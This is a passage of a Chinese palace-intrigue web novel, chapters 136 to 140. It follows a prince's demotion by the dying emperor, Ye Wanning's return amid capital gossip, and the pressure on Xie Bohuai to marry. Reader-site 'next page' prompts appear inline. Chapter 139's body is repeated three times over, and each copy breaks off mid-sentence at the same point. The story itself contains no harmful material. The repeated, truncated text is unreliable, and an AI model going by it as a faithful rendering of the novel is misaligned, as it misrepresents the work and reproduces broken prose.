“王爷,不如您今儿个先回去吧,谢大人已经到了一会儿了。”内侍道。 “他来我就不能来吗?是他父皇,还是我的?”敬王现在憋着一口气,非要见到皇上不可。 内侍怕的要死,心想敬王今日是不是吃错药了,见敬王非要闯进去,他赶忙去拦人。 第136章 贬斥 可今儿个的敬王,非要进去看个好歹,内侍怎么都拦不住。 门一开,谢泊淮赫然出现在门后,敬王这才停下。 “谢……谢泊淮?”敬王有些怵了,不过都到了这里,再没有怂的可能。 殿内飘出浓郁的药香,敬王看着谢泊淮,许久才说了另一句,“我要见父皇。” “你确定?”谢泊淮挑眉。 在敬王眼里,这就是挑衅,他忍了那么久,这会儿一只脚迈进仁政殿的大门,绝对不会再退缩,“嗯,我要见父皇!谢泊淮,我才是父皇的儿子,你没资格在这里弄权跋扈!” 谢泊淮侧身让开,没有和敬王废话,“那就进去吧。” 见谢泊淮那么好说话,敬王再次愣住,怀疑谢泊淮给他挖了什么坑,可这一个月来,就没人见过父皇,敬王还是进了内殿去。 内殿的药味更重,重到敬王觉得难闻想掩鼻,等他看到坐在床上的父皇,当即跪下,“儿臣参见父皇。” “哼,你还好意思喊朕父皇,你是巴不得朕早点死吧!”皇上面色苍白,挤出一些力气说这些话,看着敬王长声叹气。 “儿臣不敢,儿臣只是担心您。毕竟这些日子,除了太医就是谢泊淮,儿臣想来您这里伺候。”看父皇还活着,敬王心里发颤,看来谢泊淮没有假传圣旨。但他更不理解了,为什么父皇不肯见他们。 “你来伺候?有你在朕跟前,朕会少活几天。”皇上看着跪着的儿子,语重心长道,“老六啊,你脑子本就不好使,何必这个时候给人当枪使?” 对于几个儿子,皇上还是知道一些性格,就算他没理朝政,但他还是有耳目在。 脑子不好? 敬王听到这个,很不服气,他怎么就脑子不好了? “父皇,儿臣……” “不要再多说了。看到朕还活着,让你们失望了。”皇上摆摆手,边上的内侍立马端着参茶过去,“子谦你进来吧,传朕旨意……咳咳……敬王目中无人,贬为郡王,革去他的职位,永不得入朝为官。” 一听这话,敬王瞬间白了脸。 怎么会这样呢? 他只是想确认下谢泊淮有没有说谎,“父皇,儿臣是真的关心您,并没有不臣之心啊。求求您了,儿臣知道错了,以后不会再这样了!” 敬王大声求饶,闲散王爷是什么意思? 那就是他和皇位永远没可能。 而且以后不管谁登基,都可以随意拿捏他,毕竟他不可能再有手握大权的机会。 “谢泊淮,你帮我求求情,是你让我进来的。”敬王甩开内侍,想去拉谢泊淮,却扑了个空。 谢泊淮冷眼看着敬王,“微臣劝过王爷的。” “你放屁,你那里有劝?”敬王又要扑过来时,几个侍卫把他拽了出去。 而这时的皇上,已经气得狂咳嗽,“他这个蠢货,没脑子还想当皇帝。” 皇上会这么做,就是告诉所有人,正大光明牌匾后面写的不是敬王的名字,也是一种保护了。奈何敬王看不懂,不能理解皇上的良苦用心。 谢泊淮却是看得明白,不过敬王做的一些事,让他很不开心,皇上不想看儿子们为了争皇位斗得你死我活,但敬王死罪可免,活罪难逃。 让人照顾好皇上后,谢泊淮出了仁政殿,就让人押着敬王回去。 何为押? 罪臣才能用押。 这是打了敬王的脸面,也是告诉京城里的所有人,从此以后,敬王和皇位无缘了。 没了希望的敬王,也就没人会忌惮他,这一路出宫门,更没一个人上前询问怎么了。 而谢泊淮出宫时,正好遇到了成王。 “成王殿下还笑得出来?”谢泊淮嘲讽道。 成王看着谢泊淮,有点不明所以,他可没做什么,有什么好怕的? “借刀杀人,也要看看自己的本事,敬王虽蠢,但他也有蠢的用法。他今日被贬斥,总有一日会算计到你头上的。”谢泊淮冷冷瞥了眼成王,上了马车。 第137章 宠爱 雪大风急,谢泊淮坐在马车里,思绪飘远了。 直到青山说到了,他才走下马车,听门房说谢老爷子来了,眉头拧住,“下次不要放他进去,让他等着,青山,我们去镇府司。” 他连家门都不进,世人说他忤逆不孝,那又如何? 他没什么好怕的。 除了……一个软肋。 马车再次停下后,风雪也停了。 谢泊淮进了镇府司,成王府的管事也进了叶家。 “明儿个是我们家王妃娘娘宴请的日子,以前是不知叶大姑娘活着,现在知道了,特意派我过来送个帖子,还请叶大姑娘一定要到场。”管事的一直举着帖子。 林氏刚要说话,姜姒却看出不对劲,抢先道,“多谢王妃娘娘的好意,但是婉宁刚归家,人还没缓过来。加上祖母病重,需要婉宁守在跟前伺候,还请你帮我们和王妃娘娘道个歉。” 管事的还是淡淡笑着,“叶大姑娘想尽孝心,也不差这半天时辰,您拦着叶大姑娘姑娘不让去,是在怕什么呢?还是说,你们叶家托大,连王府面子都不给?” 说着,管事的把帖子重重放在桌上,“去不去的,你们自个儿心里琢磨,多想想叶家男人,还要不要在外面做事。” 丢下这一番话,管事的就走了。 他不是客客气气说话,叶家人自然知道是鸿门宴,林氏问怎么办,姜姒眉头紧皱。 “不论如何,不能让婉宁去。剩下的,咱们身正不怕影子斜。”姜姒刚说完,就看到叶婉宁来了。 叶婉宁是不想去成王府,但是她给家里带来麻烦,不能再连累哥哥们,“既然成王府下了帖子,那我就走一趟。我已经派人和义母说了,明儿个会让江嬷嬷陪我过去。江嬷嬷代表了公主府,成王会掂量掂量的。” 听到有江嬷嬷同行,姜姒稍微放心点,“你去了要处处小心,坐坐就回来。裴许死了,裴侧妃对你必定深恶痛绝,少不了刁难。” 叶婉宁说知道,既然回了京城,就做好面对这些麻烦的准备。 次日她卡着时辰去了成王府,刚进成王府的园子,就引来了无数目光。 三年前,所有人都知道叶婉宁死了,现在却突然活了,还带着一个孩子回来,大家都好奇叶婉宁到底发生了什么。 “你们说,都三年了,她怎么更美了?” “哪里美了,我看就是个狐狸精模样,一点也不好看。” “你在说酸话吧,她要是不好看,谢泊淮能念念不忘?” “呵呵,谢泊淮就和常人不一样,谁知道他的喜好。反正我觉得叶婉宁不好看,天生的狐媚子,说不定她的孩子就是和野男人生的。谁知道三年里,她靠什么为生?” “这倒也是,她一个弱女子,也不见她男人回来,确实不太可能自己谋生。不过以她的容貌,想要男人掏钱买欢,还是……你……你做什么?” 没等这妇人说完,江嬷嬷先打了一耳光过去,“这一耳光是替隆玉公主教训你的,我们姑娘规规矩矩嫁人,你这长舌妇却议论是非。你要是不服气,大可以去公主府辩论!” “我!” “若是没那个胆量,就闭嘴不要多说,免得再吃一耳光!”江嬷嬷霸气十足,一眼扫过去,没一个人敢再说话。 这时谢令娴来了,得知怎么回事,让人扶着被打的妇人先下去,再去看叶婉宁,“多年不见,我想着叶大姑娘应该会想见见京城的这些旧人,大家也想听听你的故事,不曾想,会引起这种议论,真是不对不住了。” “我不过是个普通人,劳烦王妃娘娘记挂了。”叶婉宁道。 “没什么,我只是喜欢热闹,既然来了,就坐吧。”谢令娴说完这个话,就走了,并没有更多为难。 叶婉宁却是看得明白,江嬷嬷刚打了人,现在这些人看她都不顺眼。她坐在这里,就是所有人心里嘀咕的对象,离开吧,他们更要说她是非。 她这名声,是彻底完了。 谢令娴这一招,还真是好用。 江嬷嬷也反应过来,懊恼道,“姑娘,我……” “嬷嬷不用道歉,你不打她,他们更会猖狂,世人拜高踩低,我们现在是低处,自然要被处处说道。反正全不了一个美名,倒不如打一耳光,自己还畅快点。你瞧瞧,咱们在这里坐着,没人敢说话了。”叶婉宁淡定地喝茶,还拿了点心给云芝他们吃。 既来之,则安之。 她不尴尬,那难受的就是别人。 众人看叶婉宁淡定自若,一个个心里感叹,叶婉宁脸皮厚,这都能待下去。 叶婉宁不管别人怎么想,她做了回来的打算,就不会像以前一样在意旁人目光。外边人说好说坏,都影响不到她。 成王府的点心极好,叶婉宁只顾着吃,一个丫鬟来上茶,不小心把茶水弄到她裙摆,忙跪着道歉,其他人来说带叶婉宁去客房换衣裳。 这种伎俩,叶婉宁已经见识过了,“不用麻烦,我没有带更换的衣裳,今日我吃了点心,也玩过一趟。既然裙摆脏了,就先回了。” 这章没有结束,请点击下一页继续阅读! 见她要走,成王府的丫鬟着急留人,却被江嬷嬷挡着,一个都不得靠近。 叶婉宁走得飞快,待院子里的嬷嬷反应过来要追,叶婉宁已经走出一大段距离,再去追时,叶婉宁到了门口。 “多谢王妃娘娘邀请,今日是意外,还请王妃娘娘不要迁怒那位丫鬟。”说完这句话,叶婉宁给云芝他们使了个眼色,便出了成王府。 那嬷嬷看叶婉宁就这么走了,气得拍腿,又不敢耽搁,跑回去给王妃娘娘回话。 谢令娴听说了怎么回事,得知是裴侧妃的丫鬟,当即放下脸来,“小门小户出身的蠢货,王爷设下这个局,又不是为了一个裴许!她真是蠢到可以丢池塘里喂王八,本来叶婉宁要饱受非议,结果这么一走,就达不到最好的效果。告诉管事的,裴侧妃身边的人办事不力,打二十板子,丢庄子里去。” 嬷嬷带着话就拿人,裴侧妃听说后,红着眼睛来找谢令娴。 只是这次,谢令娴没给面子,“我也是为了妹妹好,你的人办事不力,若是传到王爷那里,怕王爷会多心,猜你是不是要给裴许报仇,故意做了这种事。” “不是不是,我……” “你有没有这种心思是一回事,但你不想被王爷猜忌吧?毕竟妹妹能在王府立足,靠的不就是王爷的宠爱吗?”谢令娴红唇微扬,从裴侧妃身边经过,轻轻地哼了一声。 谢令娴身后有谢家,就算谢家不如以前,但也是四大家族之一,成王再怎么样,还是要给谢令娴三分面子。 裴侧妃呢? 她没有家世,唯一的哥哥还死了。 她能倚仗的,只有成王的宠爱。最不能失去的,也是这份宠爱。 第138章 欢实 从叶婉宁在成王府露面后,京城里的议论更多了。 本来大家就好奇叶婉宁这三年发生了什么,现在她在成王府匆匆离开,江嬷嬷还打了人,这般下来,说道的人就更多了。 连着两日,叶家人都不怎么出门。 还是隆玉公主出面,宴请京城权贵,庆贺叶婉宁归来,给个正式的说法来堵住众人的嘴。 隆玉公主多年没回来,这次为了叶婉宁操办宴席,大家才知道,隆玉公主对看重,京城里的议论才少了一点。 不过到了宴席这日,大家心里都在想,谢泊淮会不会来。 他们不敢说到叶婉宁和隆玉公主跟前,但有人会去姜家,钱家打听。林氏的母亲最不耐烦,听了两句,就跑来和林氏吐槽,“他们都说,既然谢泊淮对婉宁有心,不如让婉宁嫁给谢泊淮算了,往后你们叶家也能跟着享福。” “母亲,您怎么也说这种话?”林氏左右看看。 “怎么不能说了,这也是事实,你家叶明德努力一辈子,也不如攀附上谢泊淮。而且谢泊淮的心思,是大家都知道的,不嫁给谢泊淮,往后婉宁还能嫁给什么人?”林夫人觉得嫁给谢泊淮挺不错的,不管皇上能熬多久,至少现在能风光。他们林家也能跟着享福一段时间,至于往后的事,也和林家关系不大,到时候直接和叶家断了来往就行。 “叶家不会逼着婉宁嫁人,您不要再说了。她愿意守寡,叶家会养她一辈子。”林氏压着嗓子,“这话您要是被人听了去,您自个儿解决去。” 她愤愤离开,去找了姜姒,听好些人都说了这个事,两妯娌纷纷叹气。 “都怪谢泊淮!”这时羲和郡主凑过来,说了一句,“若不是他当年莽撞,也没有这种事了。两位嫂嫂也不必烦恼,他谢泊淮就算来了,也不能逼着婉宁嫁人。” 林氏很认可地点点头,挖人棺椁这种事,还是在下葬那天,全天下也就谢泊淮一个人干得出来,离谱得很。 要不是谢泊淮权势滔天,他早就死一万遍了。 姜姒再次叹气,“多谢郡主帮忙说话,不过婉宁的事,还是不要再生争吵。希望过些时间,这个事能慢慢被人淡忘。” 三个人说了会话,姜姒和林氏就要去迎客,羲和郡主则是去找了叶婉宁。 叶婉宁陪在隆玉公主身边,见到的都是说好话的,和在成王府全然不一样。 “殿下真是好福气,竟然能死而复生,真是太好了。” “是啊是啊,恭喜您了。” “这可是上好的福气,别人想都想不到。” …… 大家围着隆玉公主,一个个说着奉承的话,隆玉公主听着只是淡淡笑着,看到叶婉宁端着茶出来,这才笑着问,“昨儿可睡好了?” “睡好了,多谢义母关心。”叶婉宁把茶放下,退到了一边。 这些人看到叶婉宁,也开始说恭维的话,能来捧场的,也都会关系好点。 不过也有不长眼的,问叶婉宁怎么不把孩子带出来给大家看看。 叶婉宁和隆玉公主一起看过去,江嬷嬷立马道,“乐哥儿胆子小怕见人,就不出来见客了。等他熟悉了京城,夫人们总有一日见得到,您说是吧?” 有江嬷嬷这句话,别人也就不敢多问什么了,不过大家心里都会好奇,到底是个什么样的孩子。 今儿个,还是那套说法,一般人听了会觉得叶婉宁可怜,经历坎坷。 不过也有人会想到谢泊淮这个人,难免多想一点。 让众人失望的是,今儿个谢泊淮没有来,也就看不到想看的场面。 一整天下来,叶婉宁都跟在隆玉公主身边,众人知道隆玉公主还是看重叶婉宁,也就忌惮三分了。 有了这一出,大家碍于隆玉公主的面子,便不再多说什么。 日子就这么到除夕,乐哥儿第一次在京城里过年,对什么都新奇得很。 他听表哥表姐说元宵灯会多热闹,便央求着想去,叶婉宁不让他去,便求到了叶老夫人那里。 “曾祖母最好了,求求您了,就让我和表姐他们去看看吧?”乐哥儿搂着叶老夫人的胳膊。 叶老夫人本就心疼叶婉宁,这会儿看乐哥儿眼睛水亮水亮的,心都软了,但想到叶婉宁的话,只能道,“元宵灯会太多人了,怕是会有拐子,你就不怕吗?要是被拐子带走了,你可就见不到你母亲和我们了?” 听到这话,乐哥儿的细细的眉毛紧紧皱在一起,“可是表哥他们……” 看乐哥儿快哭了,叶老夫人实在心疼,干脆找来叶婉宁,劝道,“不如我们多派一些侍卫?” “人太多了,我总是心里不安。”叶婉宁还是不太同意。 “离元宵还一段日子,那就再看看,这几日不许其他人说这个事,指不定乐哥儿就忘记了。”叶老夫人道。 叶婉宁本来想过年后就去隆玉公主的别苑,但与家人分开那么久,家里人不舍得她。 这会看祖母宠爱乐哥儿,她心里不是滋味,是这世道对她不公。 祖孙俩说话时,乐哥儿已经跑到园子里玩了,今日表哥表姐要上学,二房的姐儿又病了,他只能自己玩。 “乐哥儿,你慢点。”春喜在后边追着。 与此同时,高处的阁楼里,谢泊淮正看着叶家的园子。 青山踮着脚,“三爷,您瞧那小孩儿,好欢实,长得也真好。” 他刚说完,边上的司砚就踹了他一脚,“你踹我干嘛?这都不能说吗?” 第139章 牵连 司砚白了青山一眼,心想这蠢货,过了那么多年,还是一如既往没心眼,活该没人看得上,也就主子容忍他。 青山挨了一脚,觉得心里亏得很,还去和主子告状,“大人,您管管司砚,他现在当官不得了了,竟然对我动手。” “我是动脚。”司砚懒得和青山废话,而是去看主子,“三爷,派出去的人回来了,叶大姑娘的夫家,并没有查到什么,只是查到她曾住过的县城。也确实有人追杀她。” “谁?”谢泊淮问。 “是叛王的人,估计是认出叶大姑娘的身份,想抓人。”司砚道,“再多的,就查不到了。叛王党羽死得差不多,剩下的不敢冒头。至于叶大姑娘说的夫家,没个准确的地方,实在是打探不出来。” 青山:“确实啊,叶大姑娘什么都说了,就是不说夫家是哪里的人,她是不是有所隐瞒?” 司砚心想,青山也有动脑子的时候,不过有青山开口,他就不用问了,主子心里有数。 谢泊淮看着叶家园子里的小孩儿,听不到声,也能感受到小孩儿的开心,这就是叶婉宁的选择吗? “不必再查了,盯着其他人,也别让那些人查了。”谢泊淮转身下了阁楼,上马后,径直去了镇府司。 谢老爷子找不到谢泊淮,只好来镇府司蹲守,父子俩一见面,谢老爷子就冲着谢泊淮瞪眼,“谢泊淮,你到底要怎么样?” “你说什么?”谢泊淮面色冷冷,连带着青山都意识到他这会儿快发火了。 “你去挖了叶婉宁的棺椁,现在叶婉宁回来了,全京城的人都在说这个事。人家已经嫁人了,你总该放下了吧?”谢老爷子看着谢泊淮,“总不能,让京城的人,一直看谢家笑话。” “笑话?” 谢泊淮冷笑,“我早与谢家恩断义绝,我的笑话和谢家有什么关系?如今我连父亲都不喊了,你还硬要凑到我跟前,是为了你虚伪的面孔,还是你觉得我能帮扶谢家?” 他看着谢老爷子,两人目光对上,谢老爷子那叫一个气愤,却又知道多说无用。 谢老爷子移开目光,“就当为你自己想想,皇上的身体你也清楚,正大光明牌匾后写的是谁的名字,你也清楚。早为自己寻一门亲事,别真的把自己给弄死了。那到时候我们活得好好的,你自己反而惨死。谢泊淮,我不曾亏欠你的,如今你的路,也是你自己选的,没必要在这里和我吹眉瞪眼,我是为你好才让你结亲。” 说着,谢老爷子拿出三张画像放在桌上,“这是我为你寻的三户人家,都是好人家的姑娘,你挑一挑,选一个成亲。你也不想你姨娘死不瞑目吧?” “别提我姨娘,你没资格提她!”谢泊淮把画像甩在谢老爷子的脸上,“若不是你,她说不定会更好!” 谢老爷子呵呵道,“生在乱世,她那样的容貌,我不带她回谢家,她只会更惨。谢泊淮,你什么都好,唯独多了些妇人之仁,这也会是你的软肋。是我看错了人,你终究顶不起世家门楣。你的那点心软,迟早会害死你。如果你不成亲,你知道别人会怎么议论叶婉宁吗?” “轮不到你来说她。” “呵呵,还真是护短。谢泊淮,你也有那么怂的时候!”谢老爷子甩袖准备离开,“你不成亲,她不嫁人,世人就会把你们永远联系在一起。你的名声是臭了,那她的呢?” 谢老爷子好不容易见到谢泊淮,处处都往谢泊淮的痛脚说,“你得罪了那么多人,杀了裴许,害敬王被贬斥,你觉得这些人都会罢休吗?” 撂下这句话,谢老爷子便往外走,到了门口,谢老爷子才哼了一句,“我是真没想到,你也有今天!哈哈!” 随着谢老爷子的笑声,谢泊淮低头去看地上的画像,“去查一查,这三家人,都和哪个王爷有关系?” “大人,查这个做什么?”青山问。 司砚推着青山出去,“你真是人笨问题多,老爷子这是在试探正大光明牌匾后面写了谁的名字,好跟着站队。如果明着问,大人肯定不会说,可大人与谁相看,就代表站了谁的队伍。” 两个人到了屋外,司砚才敢道,“你以后说话可不可以动动脑子,大人本就心里难,你还一直往他心口戳刀子。叶大姑娘已经为人母,还害怕大人,你不懂大人多难受吗?” 青山不解,“既然还 司砚白了青山一眼,心想这蠢货,过了那么多年,还是一如既往没心眼,活该没人看得上,也就主子容忍他。 青山挨了一脚,觉得心里亏得很,还去和主子告状,“大人,您管管司砚,他现在当官不得了了,竟然对我动手。” “我是动脚。”司砚懒得和青山废话,而是去看主子,“三爷,派出去的人回来了,叶大姑娘的夫家,并没有查到什么,只是查到她曾住过的县城。也确实有人追杀她。” “谁?”谢泊淮问。 “是叛王的人,估计是认出叶大姑娘的身份,想抓人。”司砚道,“再多的,就查不到了。叛王党羽死得差不多,剩下的不敢冒头。至于叶大姑娘说的夫家,没个准确的地方,实在是打探不出来。” 青山:“确实啊,叶大姑娘什么都说了,就是不说夫家是哪里的人,她是不是有所隐瞒?” 司砚心想,青山也有动脑子的时候,不过有青山开口,他就不用问了,主子心里有数。 谢泊淮看着叶家园子里的小孩儿,听不到声,也能感受到小孩儿的开心,这就是叶婉宁的选择吗? “不必再查了,盯着其他人,也别让那些人查了。”谢泊淮转身下了阁楼,上马后,径直去了镇府司。 谢老爷子找不到谢泊淮,只好来镇府司蹲守,父子俩一见面,谢老爷子就冲着谢泊淮瞪眼,“谢泊淮,你到底要怎么样?” “你说什么?”谢泊淮面色冷冷,连带着青山都意识到他这会儿快发火了。 “你去挖了叶婉宁的棺椁,现在叶婉宁回来了,全京城的人都在说这个事。人家已经嫁人了,你总该放下了吧?”谢老爷子看着谢泊淮,“总不能,让京城的人,一直看谢家笑话。” “笑话?” 谢泊淮冷笑,“我早与谢家恩断义绝,我的笑话和谢家有什么关系?如今我连父亲都不喊了,你还硬要凑到我跟前,是为了你虚伪的面孔,还是你觉得我能帮扶谢家?” 他看着谢老爷子,两人目光对上,谢老爷子那叫一个气愤,却又知道多说无用。 谢老爷子移开目光,“就当为你自己想想,皇上的身体你也清楚,正大光明牌匾后写的是谁的名字,你也清楚。早为自己寻一门亲事,别真的把自己给弄死了。那到时候我们活得好好的,你自己反而惨死。谢泊淮,我不曾亏欠你的,如今你的路,也是你自己选的,没必要在这里和我吹眉瞪眼,我是为你好才让你结亲。” 说着,谢老爷子拿出三张画像放在桌上,“这是我为你寻的三户人家,都是好人家的姑娘,你挑一挑,选一个成亲。你也不想你姨娘死不瞑目吧?” “别提我姨娘,你没资格提她!”谢泊淮把画像甩在谢老爷子的脸上,“若不是你,她说不定会更好!” 谢老爷子呵呵道,“生在乱世,她那样的容貌,我不带她回谢家,她只会更惨。谢泊淮,你什么都好,唯独多了些妇人之仁,这也会是你的软肋。是我看错了人,你终究顶不起世家门楣。你的那点心软,迟早会害死你。如果你不成亲,你知道别人会怎么议论叶婉宁吗?” “轮不到你来说她。” “呵呵,还真是护短。谢泊淮,你也有那么怂的时候!”谢老爷子甩袖准备离开,“你不成亲,她不嫁人,世人就会把你们永远联系在一起。你的名声是臭了,那她的呢?” 谢老爷子好不容易见到谢泊淮,处处都往谢泊淮的痛脚说,“你得罪了那么多人,杀了裴许,害敬王被贬斥,你觉得这些人都会罢休吗?” 撂下这句话,谢老爷子便往外走,到了门口,谢老爷子才哼了一句,“我是真没想到,你也有今天!哈哈!” 随着谢老爷子的笑声,谢泊淮低头去看地上的画像,“去查一查,这三家人,都和哪个王爷有关系?” “大人,查这个做什么?”青山问。 司砚推着青山出去,“你真是人笨问题多,老爷子这是在试探正大光明牌匾后面写了谁的名字,好跟着站队。如果明着问,大人肯定不会说,可大人与谁相看,就代表站了谁的队伍。” 两个人到了屋外,司砚才敢道,“你以后说话可不可以动动脑子,大人本就心里难,你还一直往他心口戳刀子。叶大姑娘已经为人母,还害怕大人,你不懂大人多难受吗?” 青山不解,“既然还 司砚白了青山一眼,心想这蠢货,过了那么多年,还是一如既往没心眼,活该没人看得上,也就主子容忍他。 青山挨了一脚,觉得心里亏得很,还去和主子告状,“大人,您管管司砚,他现在当官不得了了,竟然对我动手。” “我是动脚。”司砚懒得和青山废话,而是去看主子,“三爷,派出去的人回来了,叶大姑娘的夫家,并没有查到什么,只是查到她曾住过的县城。也确实有人追杀她。” “谁?”谢泊淮问。 “是叛王的人,估计是认出叶大姑娘的身份,想抓人。”司砚道,“再多的,就查不到了。叛王党羽死得差不多,剩下的不敢冒头。至于叶大姑娘说的夫家,没个准确的地方,实在是打探不出来。” 青山:“确实啊,叶大姑娘什么都说了,就是不说夫家是哪里的人,她是不是有所隐瞒?” 司砚心想,青山也有动脑子的时候,不过有青山开口,他就不用问了,主子心里有数。 谢泊淮看着叶家园子里的小孩儿,听不到声,也能感受到小孩儿的开心,这就是叶婉宁的选择吗? “不必再查了,盯着其他人,也别让那些人查了。”谢泊淮转身下了阁楼,上马后,径直去了镇府司。 谢老爷子找不到谢泊淮,只好来镇府司蹲守,父子俩一见面,谢老爷子就冲着谢泊淮瞪眼,“谢泊淮,你到底要怎么样?” “你说什么?”谢泊淮面色冷冷,连带着青山都意识到他这会儿快发火了。 “你去挖了叶婉宁的棺椁,现在叶婉宁回来了,全京城的人都在说这个事。人家已经嫁人了,你总该放下了吧?”谢老爷子看着谢泊淮,“总不能,让京城的人,一直看谢家笑话。” “笑话?” 谢泊淮冷笑,“我早与谢家恩断义绝,我的笑话和谢家有什么关系?如今我连父亲都不喊了,你还硬要凑到我跟前,是为了你虚伪的面孔,还是你觉得我能帮扶谢家?” 他看着谢老爷子,两人目光对上,谢老爷子那叫一个气愤,却又知道多说无用。 谢老爷子移开目光,“就当为你自己想想,皇上的身体你也清楚,正大光明牌匾后写的是谁的名字,你也清楚。早为自己寻一门亲事,别真的把自己给弄死了。那到时候我们活得好好的,你自己反而惨死。谢泊淮,我不曾亏欠你的,如今你的路,也是你自己选的,没必要在这里和我吹眉瞪眼,我是为你好才让你结亲。” 说着,谢老爷子拿出三张画像放在桌上,“这是我为你寻的三户人家,都是好人家的姑娘,你挑一挑,选一个成亲。你也不想你姨娘死不瞑目吧?” “别提我姨娘,你没资格提她!”谢泊淮把画像甩在谢老爷子的脸上,“若不是你,她说不定会更好!” 谢老爷子呵呵道,“生在乱世,她那样的容貌,我不带她回谢家,她只会更惨。谢泊淮,你什么都好,唯独多了些妇人之仁,这也会是你的软肋。是我看错了人,你终究顶不起世家门楣。你的那点心软,迟早会害死你。如果你不成亲,你知道别人会怎么议论叶婉宁吗?” “轮不到你来说她。” “呵呵,还真是护短。谢泊淮,你也有那么怂的时候!”谢老爷子甩袖准备离开,“你不成亲,她不嫁人,世人就会把你们永远联系在一起。你的名声是臭了,那她的呢?” 谢老爷子好不容易见到谢泊淮,处处都往谢泊淮的痛脚说,“你得罪了那么多人,杀了裴许,害敬王被贬斥,你觉得这些人都会罢休吗?” 撂下这句话,谢老爷子便往外走,到了门口,谢老爷子才哼了一句,“我是真没想到,你也有今天!哈哈!” 随着谢老爷子的笑声,谢泊淮低头去看地上的画像,“去查一查,这三家人,都和哪个王爷有关系?” “大人,查这个做什么?”青山问。 司砚推着青山出去,“你真是人笨问题多,老爷子这是在试探正大光明牌匾后面写了谁的名字,好跟着站队。如果明着问,大人肯定不会说,可大人与谁相看,就代表站了谁的队伍。” 两个人到了屋外,司砚才敢道,“你以后说话可不可以动动脑子,大人本就心里难,你还一直往他心口戳刀子。叶大姑娘已经为人母,还害怕大人,你不懂大人多难受吗?” 青山不解,“既然还 第140章 逼婚 谢泊淮看着青山跑远了的身影,再去看司砚,瞧见司砚缩着脑袋,哼了哼,“你倒是懂得多。” “没有没有,我们都是您身边的人,只是以您的想法为主。大人,你这是要去哪?”司砚赶忙岔开话题,他的身板可跑不了多少营地。 谢泊淮:“皇上身体不太好,我得进宫看看。” 本来皇上就不太好,被敬王气了一次,更不好了。 谢老爷子说得对,等皇上驾崩了,谢泊淮便成了众矢之的,除非他有本事,让新帝也对他言听计从。 听到是进宫,司砚赶忙跟上。 两人进宫时遇到了端王世子李茂,端王低调,平日里什么大事都不插手,看到了谢泊淮也只是淡淡地点点头。 不过李茂这两年,在世家里跑得多一些。 出身在皇家,难免有些心思。 谢泊淮没打算和李茂说话,却被李茂喊住。 “谢大人,你知道正大光明牌匾后面写的谁吧?”李茂突然问。 谢泊淮看着李茂,“世子想问是谁吗?” 李茂摇摇头,“我只想知道,应该不是我们端王府的人吧?” “世子不希望是吗?”谢泊淮打量着李茂,比起三年前的青涩,现在要沉稳许多,“其他几位王爷,可不一定有你父王的隐忍。” “我不希望是,所有人都在抢,端王府只想安稳过日子。不知谢大人能不能……” “不能,我也不知道。”谢泊淮无情地打断了对方,“世子真不想加入吗?” 他身处权势之中,并不觉得端王一家想要置身事外,毕竟端王府的那个庶长子曾找过他。 李茂还是摇了摇头。 司砚看着李茂走远的背影,才小声道,“其实端王一脉最有意思了,三年前皇上让端王侍疾,若是其他人,肯定借着这个机会上位,但端王还是没什么动作,就算是被其他兄弟打脸,也不吭声,实在是能忍。”他是不知道正大光明牌匾后写的谁,故而才会这么说。 谢泊淮走在前头,“不争就死路一条,他们的出身决定了他们必须要争。不管是谁上位,都不会放过其他兄弟。” 司砚也觉得是,说话间到了仁政殿,司砚候在外边没有进去。 谢泊淮进内殿后,内侍刚给皇上喂药。 “你来了啊。”皇上靠在床上,只看了谢泊淮一眼,就闭上眼睛说话,“老六是不是还不老实?” “回皇上,敬郡王向来脾气暴躁,他没那么容易安分下来。” “那就夺了他的管辖权,只让他去封底做个闲散王爷。当年朕给他封号敬,就是想他时时刻刻能想到这个字,但是朕想得太好了,他是江山易改,本性难移。罢了,他这个人没什么脑子,就算有野心,也就那样,让他活着吧。”皇上想到自己的几个儿子,颇为心累,一个个的,为了皇位不遗余力地争抢。 他还没死呢。 睁眼看了下谢泊淮,皇上又道,“最近京城里有什么新鲜事吗?” 谢泊淮想了想,说没有。 皇上微微抿起唇瓣,“你不肯说,那朕说直接点。你也到年纪了,是该成婚了。既然叶家姑娘已经嫁人,便配不上你,朕给你另外寻了人家,你看看吧。” “皇上,微臣……” “身为儿郎,总是要成家,不然百年后,谁还记得你?”皇上的态度不容拒绝,“你要是再拒绝,朕就让你娶郡主,到时候你真和谁绑定了,更别想摆脱。子谦啊,朕视你为半子,若是能看到你成家,也算是圆满了。你若是还喜欢叶姑娘,就抬进府里当个贵妾,你是干大事的人,不能有软肋。” 说完,皇上就摆手,示意谢泊淮可以走了。如果谢泊淮再拒绝,他就给叶婉宁赐婚。 谢泊淮走出仁政殿时,脸黑如炭。 拿着生辰八字过来的内侍,手都在发抖,“谢大人,皇上的意思是,您在这三位姑娘里挑一个。如果您想,三位都娶进家门也可以,至少得挑一个。其实皇上也是为了您好,他时常念叨着您,即使在这会儿,还想着您的婚事。” 谢泊淮一直没伸手去接,还是司砚帮着接了下来。他看了一眼,都是很寻常的人家,没有过多的根基,却又有些实权,算得上是不错的婚事。只是他家主子…… 一路出宫,司砚大气都不敢喘,就怕主子生气砍人。 谢泊淮看都没看司砚手中的画像,径直上了马。 不过这事,皇上有心让全京城的人都知道,故而次日大家都知道皇上对谢泊淮的看重,还想着替谢泊淮赐婚,这是多大的荣幸。 消息传到叶家时,叶婉宁正在陪乐哥儿玩踢毽子,云芝来传话,“说是李家老爷听说女儿可能要嫁给谢大人,直接晕死过去。另外两家都没出门,大家对此,好像都非常避之不及。” “这也正常,你想想谢大人的名声,一般人都怕被牵连。”毕竟皇上的身子,可能都撑不过今年。叶婉宁听大哥哥说,皇上已经三个月没上朝,可见身体有多差。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!云芝点头说是,“就是还有人说,皇上好像想让您给谢大人做妾。”就是为了这个消息,她才特意跑来找主子。 听到这话,叶婉宁瞬间愣住。 乐哥儿踢出的毽子落在地上,瞧见母亲呆住,蹦跶着跑过去,“母亲母亲,您怎么了?” “没什么,母亲累了,你和春喜玩吧。”叶婉宁带着云芝进屋,她深吸一口气,“这是哪里传出来的话?” “不知道,只是有人这么说。如果是真的,那您怎么办啊?”云芝忍不住为主子操心,心里觉得都怪谢大人,当初干嘛去挖坟,若是没有这个事,大家也不会把叶家和谢大人联系上。 “一些扑风捉影的事,你先别慌,皇上是多忙的人,就算想帮谢泊淮娶妻,也不会闲到给谢泊淮纳妾。”叶婉宁安慰云芝,也是为了安抚自己。 她觉得不至于这样。 做人妾室,那就要给主母敬茶,永远活在主母的眼皮子底下。 